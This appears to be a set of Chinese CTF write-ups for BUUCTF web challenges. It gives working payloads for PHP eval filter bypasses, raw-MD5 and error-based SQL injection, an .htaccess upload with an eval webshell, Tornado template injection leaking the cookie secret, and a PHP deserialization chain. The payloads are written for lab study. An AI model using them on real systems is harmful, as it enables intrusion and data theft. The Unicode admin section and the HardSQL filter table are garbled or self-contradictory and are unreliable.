  3. 代码执行: eval("echo $str;") 接收参数执行PHP代码

  4. 禁止系统命令,只能用PHP原生文件函数

阶段1:Burp环境准备 + 抓取初始请求

原理

开启本地代理,拦截浏览器访问页面的数据包,用于后续修改测试

操作步骤

  1. 浏览器访问靶机首页,Burp抓到访问请求

  2. 输入1计算的同时,进行抓包

  3. 右键抓到的数据包 → Send to Repeater (送入重放器修改)

发现calc.php,访问一下

复制代码
 <?php
error_reporting(0);
if(!isset($_GET['num'])){
    // 没有num参数时,直接显示当前文件的源码
    show_source(__FILE__);
}else{
    // 有num参数时,执行过滤+代码执行
    $str = $_GET['num'];
    // 黑名单:禁止这些字符出现
    $blacklist = [' ', '\t', '\r', '\n', '\'', '"', '`', '[', ']', '$', '\\', '/'];
    foreach ($blacklist as $blackitem) {
        // 只要参数里出现黑名单字符,直接终止程序
        if (preg_match('/' . $blackitem . '/m', $str)) {
            die("what are you want to do?");
        }
    }
    // 最终执行点:把你的参数拼到echo后面,用eval执行
    eval('echo '.$str.';');
}
?>

阶段2:参数名加空格,完成WAF绕过

原理

  1. WAF识别参数名为 num 才拦截

  2. PHP解析参数时,自动舍弃参数名最前方空白字符

  3. 空格URL编码为 %20 ,写成 %20num 骗过防火墙,后端正常识别为 num

Burp请求命令

复制代码
GET /calc.php?%20num=1 HTTP/1.1

操作

把参数 num 改成 %20num ,其余不变,点击Send发送

结果判定

响应页面输出 1 WAF绕过成功,参数可以正常传入后端

阶段3:简易运算,验证代码执行功能

原理

后端 eval 会把参数内容当作PHP代码执行,用加法测试执行有效性

Burp请求命令

复制代码
GET /calc.php?%20num=1+1 HTTP/1.1

代码执行通道完全畅通,可以写入恶意PHP语句

阶段4:遍历服务器根目录,查找flag文件

原理

  1. 黑名单禁止直接写 / ,用 chr(47) 等价替换斜杠

  2. scandir() PHP原生函数,列出目录下所有文件

  3. 开头加 1; 保证PHP语法合法,避免输出被覆盖

Burp请求命令

复制代码
GET /calc.php?%20num=1;var_dump(scandir(chr(47))); HTTP/1.1

操作

替换参数内容,发送重放

结果判定

页面输出目录数组,找到目标文件 f1agg 关键区分:第二个字符是数字1,不是小写字母L

阶段5:最后网页方式核验

原理

把Burp成功的参数直接拼接成浏览器URL,直观查看结果

网页访问地址

plaintext

http://node5.buuoj.cn:29727/calc.php?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));

操作

地址栏粘贴回车,页面明文显示flag,完成解题

[HCTF 2018]admin

先搞懂教程里的核心考点

这道题的关键不是"假a",而是题目自带的三次字符串转换逻辑:

  • 源码里的 routes.py 显示,注册、登录、修改密码时,都会调用 nodepre.prepare() 函数。

  • 这个函数会把特殊Unicode字符(比如带重音的ᴬ ),分三次转换:

  1. 注册时:ᴬ → A (用户名变成 Admin ,系统认为不是 Admin ,允许注册)

  2. 登录时: ᴬ → a (用户名变成 Admin ,系统认为你是管理员)

  3. 修改密码时:彻底把用户名转换成 admin ,你就能直接修改真正admin账号的密码。

教程版完整步骤

阶段1:先注册一个普通账号,找到源码泄露

  1. 注册普通账号
  • 打开靶机,点击 register ,注册一个完全无关的用户名(比如 dudu ,别碰Admin相关),密码随便设,完成注册并登录。
  1. 找到源码泄露
  • 登录后,点击更改密码,然后按 F12 查看页面源码,在注释里找到GitHub链接: <!-- https://github.com/woads11234/hctf_flask/ -->

  • 打开这个链接,下载源码,找到关键信息:

  • SECRET_KEY = "ckj123"

  • routes.py 里的 strlower() 函数,就是那个会转换Unicode字符的逻辑。

注意:源码泄露这个我没访问成功,这一步可以跳过,不影响解题。

阶段2:用教程里的特殊字符注册,绕过admin限制

这是教程的核心!,用ᴬdmin ,专门适配三次转换逻辑:

  1. 复制正确的用户名 直接复制这串,别自己打:ᴬdmin(注意第一个字符是带重音的 ᴬ ,不是普通A,也不是西里尔a)

  2. 注册新账号

  • 再次打开注册页面,用户名粘贴 Àdmin ,密码随便设(比如 123456 ),验证码按提示填。

  • 点击注册,这次会提示注册成功!(因为此时系统把 ᴬdmin 处理成了 Admin ,和已注册的 Admin 不冲突)

阶段3:登录 ᴬdmin 账号,修改admin的密码

  1. 用ᴬdmin 登录
  • 打开登录页面,用户名输入 ᴬdmin ,密码用你刚才设的 123456 ,点击登录。

  • 登录后,页面会显示 Hello Admin (系统已经把用户名处理成 Admin 了)。

  1. 修改密码,彻底变成Admin
  • 点击页面右上角的菜单,选择 change password (修改密码)。

  • 新密码随便设(比如 123456 ),提交修改。

  • 此时系统会第三次调用 nodepre.prepare() ,把 ᴬdmin 彻底转换成 Admin ,你修改的是真正Admin账号的密码!

阶段4:用Admin账号直接登录,拿flag

  1. 点击页面菜单里的 logout ,退出当前账号。

  2. 重新打开登录页面,用户名输入 Admin ,密码输入你刚才修改的 123456 ,点击登录。

  3. 登录成功!页面会直接显示 Hello admin 和flag!

[BJDCTF2020]Easy MD5

整体思路(一共三关)

  1. 第一关:登录页面,需要构造一个密码,让后台的 SQL 查询永远成立,从而跳转到第二关。 关键点:后台代码是 select * from admin where password = md5($pass, true)。

  2. 第二关:新页面要求 GET 传参 a 和 b,a != b 但 md5(a) == md5(b)(两个等号)。 利用 PHP 的"弱类型比较":0e 开头的 MD5 值会被当成 0,所以找两个不同的 0e 开头的 MD5 串。

  3. 第三关:再进一页,要求 POST 传参 param1 和 param2,两者 !== 但 md5(...) === md5(...)。 利用 md5() 函数无法处理数组,传数组会返回 NULL,让两个 NULL 严格相等。

下面详细拆解每关。

第一关:登录页面 ------ 用 ffifdyop 绕过

1.1 打开靶机地址

浏览器访问 http://xxx.node5.buuoj.cn:81 你会看到一个简单的登录框,需要输入用户名和密码(有些版本只有密码框,用户名可能是 admin)。

1.2 随便输点什么提交,并抓包看提示

· 用浏览器开发者工具(F12 → Network 标签)或者用 Burp Suite(推荐)抓包。 · 提交一个测试密码,比如 123。 · 查看服务器返回的 响应头(Response Headers),里面有一个字段叫 hint,内容类似:

复制代码
Hint: select * from 'admin' where password=md5($pass,true)

这说明了后台的查询语句:

复制代码
select * from 'admin' where password = md5(你输入的密码, true)

md5($pass, true) 意思是:计算密码的 MD5,然后返回 16 字节的原始二进制数据(而不是通常的 32 个十六进制字符)。

1.3 为什么要用 ffifdyop?

MD5 函数有一个特殊的输入:ffifdyop 它的 MD5 原始二进制结果(16 字节)转换为字符串后,正好包含 'or'6 这样的子串。 具体来说:

· md5('ffifdyop', true) 的十六进制是 276f722736c95d99e921722cf9ed621c · 转成 ASCII 字符串:'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c · 其中开头的 'or'6 被拼接到 SQL 语句中后,变成:

复制代码
password = ''or'6...'

因为 'or'6 中的 ' 会把前面的 password 部分闭合,然后 or '6' 永远为真(非空字符串在 SQL 中视为 true),整个条件恒成立,从而绕过登录。

所以,在密码框里输入 ffifdyop,不需要用户名(或者随便填 admin),点击登录。

1.4 成功后的现象

如果没有意外,你会被重定向到一个新页面,比如 levels91.php,或者页面直接显示出新的内容。 如果仍然停留在原页面,可以再试一次,或者用 Burp 重放请求。

小技巧:如果你没有抓包环境,也可以直接输入 ffifdyop 提交。有些靶机版本会直接把 hint 显示在页面注释里,或者响应头里。

第二关:levels91.php ------ 0e 绕过

2.1 进入 levels91.php

访问(或刷新后)URL 变成类似 http://xxx.node5.buuoj.cn:81/levels91.php 这时页面上可能什么都没有,或者有一张图片。查看网页源代码(鼠标右键 → 查看源代码 或 F12 → Elements),会发现一段被注释的 PHP 代码:

复制代码
<!--
$a = $_GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)) {
    // wow, glzjin wants a girl friend.
}
-->

意思是:需要传入两个 GET 参数 a 和 b,值不同,但它们的 MD5 值在 == 比较下相等。

2.2 弱类型比较原理

PHP 中,== 是比较值,不比较类型。 如果一个字符串以 0e 开头,后面全是数字,PHP 会把它当作科学计数法(0 乘以 10 的 n 次方),结果是 0。 例如:

· 0e123 的数值是 0 · 0e456 的数值也是 0

因此,两个不同的字符串,如果它们的 MD5 值都是 0e 开头,那么 md5(a) == md5(b) 就会成立(因为 0 == 0)。

2.3 找两个这样的字符串

常见的有:

· QNKCDZO 的 MD5:0e830400451993494058024219903391 · s878926199a 的 MD5:0e545993274517709034328855841020

还有很多,比如 240610708, aabg7XSs, aabC9RqS 等等。

构造 URL:

复制代码
http://xxx.node5.buuoj.cn:81/levels91.php?a=QNKCDZO&b=s878926199a

直接粘贴到浏览器地址栏访问。

2.4 成功后的现象

页面应该会再次跳转或显示出新内容,比如进入 levell14.php(注意拼写可能是 levell14.php 或 level14.php)。 如果没反应,检查一下是不是 URL 写错,或者 a 和 b 的值交换试试。

第三关:levell14.php ------ 数组绕过

3.1 页面源码

进入 levell14.php 后,查看页面源代码,会看到:

复制代码
<?php
error_reporting(0);
include "flag.php";
​
highlight_file(__FILE__);
​
if($_POST['param1'] !== $_POST['param2'] && md5($_POST['param1']) === md5($_POST['param2'])) {
    echo $flag;
}
?>

现在要求 POST 方式传递 param1 和 param2,并且:

· param1 !== param2 (不全等,值和类型至少一个不同) · md5(param1) === md5(param2) (三个等号,值和类型必须完全相同)

3.2 如何让两个不同参数的 md5 值严格相等?

PHP 中 md5() 函数如果接收一个 数组,它会返回 NULL,并且会抛出一个警告(但警告不影响执行)。 于是,我们可以让 param1[]=1(数组),param2[]=2(另一个数组)。

· 两个数组不同 → !== 成立 · md5(param1) 返回 NULL,md5(param2) 也返回 NULL → NULL === NULL 成立

条件满足,输出 $flag。

3.3 怎么发送 POST 请求?

有多种方法:

方法一:用浏览器开发者工具的控制台(简单但需要写JS) 按 F12 → Console,输入以下代码并回车:

复制代码
fetch(window.location.href, {
    method: 'POST',
    headers: {'Content-Type': 'application/x-www-form-urlencoded'},
    body: 'param1[]=1&param2[]=2'
}).then(res => res.text()).then(html => {
    document.body.innerHTML = html;
});

这会把当前页面内容替换成服务器返回的结果,其中就包含 flag。

方法二:用 Burp Suite 或 HackBar(我用的HackBar)

· Burp Suite:拦截浏览器请求,修改请求方法为 POST,并添加 body param1[]=1&param2[]=2 · HackBar(浏览器插件):在 POST data 里填 param1[]=1&param2[]=2

方法三:直接用 Python

复制代码
import requests
url = "http://xxx.node5.buuoj.cn:81/levell14.php"
data = {'param1[]': '1', 'param2[]': '2'}
r = requests.post(url, data=data)
print(r.text)

3.4 看到 Flag

执行后,页面会直接输出 flag,格式类似 flag{...} 或 BJDCTF{...}。

[MRCTF2020]你传你🐎呢

启动靶机:你会看到一个风格很"独特"的页面,下方有个文件上传按钮。 测试上传:可以先尝试上传一个普通.jpg或.png图片,通常能成功并返回一个路径。但尝试上传.php后缀的文件会失败,说明后端有黑名单过滤。


正确解题步骤

第一步:准备 .htaccess 文件

在你的电脑上新建一个文本文件,命名为 .htaccess(注意前面有一个点)。 内容写成如下(二选一,推荐第一种):

方式一(通用):

复制代码
AddType application/x-httpd-php .png

这表示:当前目录下所有 .png 文件都会被当作 PHP 脚本执行。

方式二(精确匹配):

复制代码
<FilesMatch "mm_shell.png">
    SetHandler application/x-httpd-php
</FilesMatch>

这表示:只有名为 mm_shell.png 的文件会被当作 PHP 执行。(可以随意起名只要是.png就行)


第二步:制作真正的木马

创建木马:

复制代码
<script language="php">eval($_POST['cmd']);</script> 

关键:上传后的文件名必须与 .htaccess 中匹配的一致。(也可以bp抓包之后修改)

· 如果 .htaccess 写的是 AddType ... .png,则木马可以是任何 .png 文件名,比如 mm_shell.png。 · 如果 .htaccess 写的是 <FilesMatch "mm_shell.png">,则图片马必须命名为 mm_shell.png。


第三步:上传 .htaccess 文件

  1. 打开 Burp Suite,开启拦截(Intercept on)。

  2. 在网页上选择 .htaccess 文件,点击上传。

  3. Burp 拦截到请求后,修改 Content-Type 字段为 image/png。

  4. 确保 filename=".htaccess" 没有被改动。

  5. 点击 Forward 发送请求。

成功标志:响应包中显示"上传成功"或类似信息,没有报错。

第四步:上传木马

  1. 在网页上选择你做好的 木马文件,点击上传。

  2. Burp 拦截后,需要修改文件名和后缀,确认 Content-Type 是 image/png(Burp 通常会自动识别)。文件名也要改为.htaccess内的mm_shell.png文件名。(这名字可以随便取)

  3. 如果有前端限制(如只允许 jpg),你可以临时把文件名改成 shell.jpg,但内容仍是 PNG 图片,可能会被后端检测。 最佳做法:保持 shell.png,因为 .htaccess 已经允许 .png 执行。

  4. 发送请求。

成功标志:返回上传路径,例如 upload/abcd1234/mm_shell.png。

第五步:连接并获取 Flag

  1. 找到完整 URL: 上传成功后页面通常会显示一个相对路径,比如 upload/5c4c72a51c66161235a534ed11a2b876/mm_shell.png。 那么完整地址就是: http://靶机IP:端口/upload/5c4c72a51c66161235a534ed11a2b876/mm_shell.png

  2. 使用中国蚁剑(AntSword)连接: · URL 填上面的完整地址 · 密码填 cmd(对应木马中的 $_POST["cmd"]) · 类型选择 PHP

  3. 浏览文件: 连接成功后,在文件管理器中找到 / 根目录,找到 flag 文件(可能叫 flag.txt 或 flag),双击打开即可。

[护网杯 2018]easy_tornado

核心考点:Tornado框架模板注入漏洞、哈希校验绕过

一、完整解题流程+指令+原理

  1. 信息收集

操作指令:

  1. 访问靶机首页: http://你的靶机地址

  2. 依次点击3个文件链接,记录内容:

  • /welcome.txt → 内容: render

  • /hints.txt → 内容: md5(cookie_secret + md5(filename))

  • /flag.txt → 内容: flag in /fllllllllllllag

原理:

  • CTF Web题所有可见内容都是线索,不能遗漏

  • render 暗示考点是模板引擎渲染

  • hints.txt 给出了文件访问的核心校验公式

  • /flag.txt 是误导,真正的flag在 /fllllllllllllag (1个f+12个小写L+ag)

  1. 发现并验证模板注入漏洞

操作指令: 访问错误页面验证漏洞(避开算术运算符过滤):

复制代码
http://你的靶机地址/error?msg={{handler}}

页面返回 <tornado.web.RequestHandler object at 0x...> ,证明漏洞存在

原理:

  • 模板注入:用户输入被当作模板代码执行

  • 后端过滤了 +、-、*、/ 等算术运算符,但没有过滤属性访问

  • handler 是Tornado模板中的特殊变量,代表当前请求的处理对象

  1. 利用漏洞获取服务器密钥

操作指令: 直接获取Tornado应用配置:

复制代码
http://你的靶机地址/error?msg={{handler.settings}}

页面返回Python字典,提取 'cookie_secret': 'xxx' 的值

原理:

  • handler.settings 存储了Tornado应用的所有配置信息

  • cookie_secret 是服务器用于签名和加密的全局密钥

  • 拿到它就能按照题目公式计算出任意文件的 filehash

  1. 计算正确的filehash

操作指令: 使用Python脚本计算(零错误):

复制代码
import hashlib
​
# -------------------------- 请把你的cookie_secret粘贴到这里 --------------------------
​
cookie_secret = "7043c3e0-c7b9-4c6b-a628-aca7341ec22e"
​
# ---------------------------------------------------------------------------------
​
# 真正的flag文件名(已经帮你写死了,不用改)
​
filename = "/fllllllllllllag"
​
def md5(s):
    """计算字符串的MD5值(UTF-8编码,无换行符)"""
    return hashlib.md5(s.encode("utf-8")).hexdigest()
​
# 步骤1:计算文件名的MD5
​
filename_md5 = md5(filename)
print(f"[1/3] 文件名: {filename}")
print(f"[1/3] 文件名的MD5: {filename_md5}")
​
# 步骤2:拼接字符串
​
final_string = cookie_secret + filename_md5
print(f"\n[2/3] 拼接后的字符串: {final_string}")
​
# 步骤3:计算最终的filehash
​
filehash = md5(final_string)
print(f"\n[3/3] 最终的filehash: {filehash}")
​
# 直接输出最终的访问URL
​
print("\n" + "="*60)
print("直接复制这个URL到浏览器访问即可拿到flag:")
print(f"http://e3b3460d-0fc6-4659-a2e5-b270096d6c8f.node5.buuoj.cn:81/file?filename={filename}&filehash={filehash}")
print("="*60)

原理:

  • 服务器文件访问校验机制:只有传入的 filehash 与服务器计算结果一致,才会返回文件内容

  • 公式顺序不能错: cookie_secret 在前, md5(filename) 在后

  • 计算时绝对不能包含换行符,否则结果错误

  1. 访问文件获取flag

操作指令: 构造最终URL并访问:

复制代码
http://你的靶机地址/file?filename=/fllllllllllllag&filehash=你计算出的filehash

页面直接显示flag

原理:

  • 服务器收到请求后,会用相同的公式重新计算 filehash

  • 校验通过后,返回对应文件的内容

二、必记坑点总结

  1. 不要用 {{1+1}} 验证漏洞,会被过滤返回 orz

  2. 不要访问 /flag.txt ,里面没有flag

  3. 真正的flag文件名是 /fllllllllllllag (12个小写L,前面必须带斜杠)

  4. 计算MD5时必须去掉换行符

  5. cookie_secret 每次重启靶机都会变化,必须自己获取

[MRCTF2020]Ez_bypass

一、完整解题流程+指令+原理

  1. 信息收集(必做第一步)

操作指令:

  1. 启动靶机,访问靶机地址

  2. 按 F12 打开开发者工具,查看页面源码(题目提示: I put something in F12 for you )

你会看到完整的PHP代码:

复制代码
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                if($passwd==1234567)
                {
                    echo 'Good Job!';
                    highlight_file('flag.php');
                    die('By Retr_0');
                }
            }
        }
    }
}

原理:

  • CTF PHP题90%的逻辑都在源码里,必须先看源码再解题

  • 这道题需要同时满足GET参数和POST参数的双重验证

  1. 第一关绕过:MD5强相等(===)且值不相等

操作指令: 在浏览器地址栏输入这个URL(替换为你的靶机地址):

复制代码
http://你的靶机地址/?id[]=1&gg[]=2

页面显示 You got the first step ,证明第一关通过

原理详解: 这是这道题最核心的考点,也是最容易出错的地方:

  • 这里的比较是强相等 === ,不是弱相等 ==

  • 不能用0e开头的MD5碰撞(0e123 === 0e456 是不成立的)

  • 用数组绕过是唯一通用且简单的方法:

  1. PHP的 md5() 函数无法处理数组,传入数组会返回 NULL

  2. NULL === NULL 在PHP中是成立的(强相等)

  3. 两个不同的数组 [1] 和 [2] 本身不相等,所以 id !== gg 也成立

  4. 第二关绕过:is_numeric()为false 且 弱等于1234567

操作指令(最简单方法,用Hacker Bar插件):

  1. 保持浏览器地址栏的URL不变: http://你的靶机地址/?id\[\]=1\&gg\[\]=2

  2. 打开Hacker Bar插件,切换到POST模式

  3. 在POST数据框中输入: passwd=1234567a

  4. 点击"执行"按钮

原理详解: 我们需要同时满足两个矛盾的条件:

  1. !is_numeric(passwd) → passwd不能是纯数字

  2. passwd == 1234567 → passwd要等于数字1234567

这正是PHP弱类型比较的经典漏洞:

  • is_numeric("1234567a") → 返回 false (因为包含字母a)

  • "1234567a" == 1234567 → 返回 true

  • 当用 == 比较字符串和数字时,PHP会自动把字符串转换成数字

  • 字符串 "1234567a" 转换成数字时,会截断到第一个非数字字符,结果就是 1234567

  1. 获取最终flag

操作指令: 执行上面的POST请求后,页面会直接显示 flag.php 的完整内容,你会看到类似这样的flag:

flag{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}

原理: 当所有条件都满足时,代码会执行 highlight_file('flag.php') ,直接把flag文件的内容高亮显示在页面上。

二、必记坑点总结

  1. 第一关不能用0e碰撞,必须用数组绕过(因为是 === 强相等)

  2. 第二关不能直接传 passwd=1234567 ,会被 is_numeric() 拦截

  3. 第二关只要在数字后面加任意字母/符号都可以绕过: 1234567a 、 1234567x 、 1234567%00

  4. 必须同时传递GET参数和POST参数,缺一不可

[ZJCTF 2019]NiZhuanSiWei

前置准备

  • 一个在线base64解码工具(随便搜一个就行)

  • 一个能运行PHP代码的环境(可以用在线PHP运行工具,比如菜鸟工具)

  • 浏览器(按F12能打开开发者工具)

步骤1:信息收集(先搞懂题目规则)

操作指令

  1. 启动靶机,访问靶机地址

  2. 你会看到页面上直接显示一段PHP代码,把它完整复制下来

你会看到的关键代码(逐行翻译)

复制代码
<?php  
// 服务器会从URL里读取3个参数:text、file、password
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
​
// 【第一关】必须同时满足两个条件:
// 1. 你传了text参数
// 2. 用file_get_contents函数读取text这个"文件",内容必须等于"welcome to the zjctf"
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    
​
// 【第二关】你传的file参数里,绝对不能包含"flag"这4个字母
if(preg_match("/flag/",$file)){
    echo "Not now!"; // 包含就直接退出
    exit(); 
}else{
    // 不包含的话,服务器就会把你传的file这个文件"包含"进来
    include($file);  
    // 【第三关】服务器会把你传的password参数,反序列化成一个PHP对象
    $password = unserialize($password);
    // 然后把这个对象打印出来
    echo $password;
}
​
}
else{
    // 如果你没传text参数,就显示这段源码给你看
    highlight_file(__FILE__);
}
?>

原理

  • 这道题就像一个闯关游戏,你必须依次通过3个关卡,才能拿到flag

  • 代码里有个非常重要的注释: //useless.php

  • 这是出题人给你的唯一线索,告诉你服务器上还有一个叫 useless.php 的隐藏文件

  • 这个文件是解开第三关的关键

步骤2:通过第一关:骗过file_get_contents

问题

第一关要求: file_get_contents($text) 必须等于"welcome to the zjctf"

  • file_get_contents() 是PHP里用来读取文件内容的函数

  • 正常情况下,它只能读取服务器上已经存在的文件

  • 我们没有权限在服务器上创建文件,怎么办?

解决方案:用 data:// 伪协议

操作指令

在浏览器地址栏输入这个URL(替换成你的靶机地址):

复制代码
http://你的靶机地址/?text=data://text/plain,welcome to the zjctf

你会看到

页面显示: welcome to the zjctf ,证明第一关通过了!

原理

  • 什么是伪协议?

  • 伪协议是PHP提供的一种特殊"地址",它不是真实存在的文件,但能像文件一样被 file_get_contents() 读取

  • data:// 伪协议的作用:

  • 它可以把一段普通字符串,伪装成一个"文件"

  • 当 file_get_contents() 去读这个"伪装的文件"时,返回的就是你写的那段字符串

  • 所以我们构造 text=data://text/plain,welcome to the zjctf

  • 就相当于告诉服务器:"我给你一个文件,这个文件的内容就是'welcome to the zjctf'"

  • 服务器一读取,正好满足第一关的条件

步骤3:读取隐藏文件useless.php的源码

问题

为什么要读 useless.php ?

  • 第三关要用到反序列化,反序列化必须知道服务器上有什么类

  • 不然你构造的东西,服务器根本不认识

  • 而且直接访问 http://你的靶机地址/useless.php ,页面是空白的!

  • 因为PHP文件会被服务器执行,不会把源码显示给你

解决方案:用 php://filter 伪协议

操作指令

在浏览器地址栏输入这个URL:

复制代码
http://你的靶机地址/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

你会看到

页面上显示一大串乱码一样的字符串,比如:

复制代码
PD9waHAgCgpjbGFzcyBGbGFneyAvL2ZsYWcucGhwCiAgICBwdWJsaWMgJGZpbGU7CiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpewogICAgICAgIGlmKGlzc2V0KCR0aGlzLT5maWxlKSl7CiAgICAgICAgICAgIGVjaG8gZmlsZV9nZXRfY29udGVudHMoJHRoaXMtPmZpbGUpOwogICAgICAgICAgICBlY2hvICI8YnI+IjsKICAgICAgICByZXR1cm4gKCJVIFIgU08gQ0xPU0UgIS8vL0NPTUUgT04gUExaIik7CiAgICAgICAgfQogICAgfQp9Cj8+

下一步操作

把这串字符串复制下来,粘贴到在线base64解码工具里,点击解码。

你会得到useless.php的真实源码

复制代码
<?php  
​
class Flag{  //flag.php
    public $file;
    public function __tostring(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }
    }
}
?>

原理

  • php://filter 伪协议的作用:

  • 它可以在读取文件之前,先对文件内容做一个转换

  • 我们用的是 convert.base64-encode 这个转换

  • 意思就是:"把文件的内容转换成base64编码,然后再返回给我"

  • 为什么这样就能看到PHP源码?

  • 正常情况下,服务器会先执行PHP文件,然后把执行结果返回给你

  • 但如果我们让服务器先把文件转成base64编码,服务器就不会执行它了

  • 它会直接把base64编码后的源码返回给我们

  • 我们再解码一下,就能看到原始的PHP代码了

步骤4:分析useless.php,找到漏洞核心

逐行翻译useless.php的代码

复制代码
<?php  
// 定义了一个叫"Flag"的类
class Flag{
    // 这个类有一个公开的属性,叫$file
    public $file;
    
​
// 这个类有一个特殊的函数,叫__tostring()
// 这种以两个下划线开头的函数,叫做"魔术方法"
public function __tostring(){
    // 如果$file属性被设置了值
    if(isset($this->file)){
        // 就读取$file这个文件的内容,然后输出
        echo file_get_contents($this->file);
        echo "<br>";
        // 最后返回这句话
        return ("U R SO CLOSE !///COME ON PLZ");
    }
}
​
}
?>

最关键的知识点:__tostring()魔术方法

  • 什么是魔术方法?

  • 魔术方法是PHP里一种特殊的函数,它不需要你手动调用

  • 当满足某个特定条件时,它会自动被调用

  • __tostring()的触发条件是什么?

  • 当一个对象被当作字符串来使用的时候,就会自动调用它的__tostring()方法

  • 最常见的情况就是: echo $对象

漏洞在哪里?

你看主源码里的第三关:

复制代码
$password = unserialize($password);
echo $password;
  • 服务器会把你传的password参数,反序列化成一个对象

  • 然后直接 echo 这个对象!

  • 这正好触发了__tostring()魔术方法!

我们的思路

如果我们能让服务器反序列化出一个 Flag 类的对象,并且把这个对象的 $file 属性设置成 "flag.php"

  • 那么当服务器 echo 这个对象的时候

  • 就会自动调用 Flag 类的__tostring()方法

  • 这个方法就会读取 flag.php 的内容,然后输出给我们!

  • 这样我们就绕过了第二关的"不能包含flag"的限制!

步骤5:构造反序列化payload

什么是序列化和反序列化?

  • 序列化:把一个PHP对象,转换成一个字符串

  • 这样方便传输和存储

  • 反序列化:把一个序列化后的字符串,还原成原来的PHP对象

操作指令

  1. 打开在线PHP运行工具

  2. 把下面这段代码粘贴进去

  3. 点击运行

复制代码
<?php
// 先定义一个和服务器上一模一样的Flag类
class Flag{
    // 把$file属性设置成我们想要读取的文件名:flag.php
    public $file = "flag.php";
}
// 创建一个Flag类的对象,然后把它序列化成字符串
echo serialize(new Flag());
?>

你会得到

复制代码
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
  • 这就是我们的反序列化payload

  • 把这个字符串传给服务器的password参数,服务器就会把它还原成一个 Flag 对象

步骤6:拼接所有参数,拿到最终flag

操作指令

  1. 把三个参数拼接成最终的URL:
复制代码
http://你的靶机地址/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
  1. 把这个URL复制到浏览器地址栏,访问

你会看到

页面上显示:

复制代码
welcome to the zjctf
U R SO CLOSE !///COME ON PLZ
  • 你以为没成功?错了!flag不在页面的可见区域!

最后一步:查看页面源码

  1. 在页面上右键,选择"查看网页源码"

  2. 或者按键盘上的 F12 键,打开开发者工具

  3. 你会看到类似这样的内容:

复制代码
<br><h1>welcome to the zjctf</h1></br>
<br>oh u find it </br>
<!--but i cant give it to u now-->
<?php
if(2==3){
    return ("flag{08d57ab2-6eba-4161-b647-470edb6fd408}");
}
?>
<br>U R SO CLOSE !///COME ON PLZ

原理

  • 为什么flag在源码里,而不是页面上?

  • 因为 flag.php 的内容就是那段被注释掉的PHP代码

  • __tostring() 方法把 flag.php 的内容完整地输出到了页面上

  • 但因为它是PHP代码和HTML注释,所以浏览器不会把它显示出来

  • 只有查看页面源码才能看到

[极客大挑战 2019]HardSQL

一、前置:最新过滤规则与绕过方法

被过滤内容 正确绕过方法
空格 用**括号 ()**完全代替所有空格
and union 逻辑或 or代替
等于号 = 用** like() 函数代替 注释 -- -+ 用
注释 -- -+ 用** # (输入框)或 %23 (地址栏)代替 substr() mid() 用
substr() mid() 用** right() **函数截取后半段

关键结论: select 、 updatexml() 均未被过滤,直接使用即可 绝对禁止:双写 seselectlect 、使用 || ,会被WAF检测拦截

二、完整解题流程+命令+原理

  1. 信息收集与注入点验证

操作:访问靶机登录页,用户名输入 ' ,密码随便填,点击登录 结果:页面返回SQL语法错误

原理:后端SQL语句为单引号闭合:

复制代码
SELECT * FROM users WHERE username='$username' AND password='$password'

输入 ' 会破坏语法结构,证明存在GET型SQL注入漏洞。

  1. 第一步:爆当前数据库名

操作:用户名输入框输入,密码填 123 ,点击登录

复制代码
admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

结果: XPATH syntax error: '~geek~' 数据库名: geek

原理:

  • updatexml(xml_doc, xpath_expr, new_val) :报错注入核心函数

  • 当 xpath_expr 不是合法XPath表达式时,会报错并将表达式内容带出

  • concat(0x7e, ... ,0x7e) :用 ~ (0x7e是~的十六进制)包裹结果,方便识别

  • :注释掉后面的单引号和剩余SQL语句

  1. 第二步:爆数据库中的表名

操作:用户名输入框输入

复制代码
admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#

结果: XPATH syntax error: '~H4rDsq1~' 存flag的表名: H4rDsq1

原理:

  • information_schema.tables :MySQL系统表,存储所有数据库的表信息

  • table_schema like('geek') :筛选出 geek 数据库下的所有表

  • group_concat() :将多行结果拼接成一行显示

  1. 第三步:爆表中的字段名

操作:用户名输入框输入

复制代码
admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

结果: XPATH syntax error: '~id,username,password~' 存flag的字段名: password

原理:

  • information_schema.columns :MySQL系统表,存储所有表的字段信息

  • table_name like('H4rDsq1') :筛选出 H4rDsq1 表下的所有字段

  1. 第四步:爆flag前半部分

操作:用户名输入框输入

复制代码
admin'or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))#

结果示例: XPATH syntax error: '~flag{3abd39e9-837b-4303-a552-0c~'

原理:

  • updatexml() 函数有硬限制:最多返回32个字符

  • 因此只能获取flag的前半部分,后半部分需要单独截取

  1. 第五步:爆flag后半部分

操作:用户名输入框输入

复制代码
admin'or(updatexml(1,concat(0x7e,(select(right(password,25))from(H4rDsq1)),0x7e),1))#

结果示例: XPATH syntax error: '~b-4303-a552-0c261909ff45}~'

原理:

  • right(str, length) :截取字符串 str 的最后 length 个字符

  • 取25个字符可以覆盖flag的后半段,避免遗漏

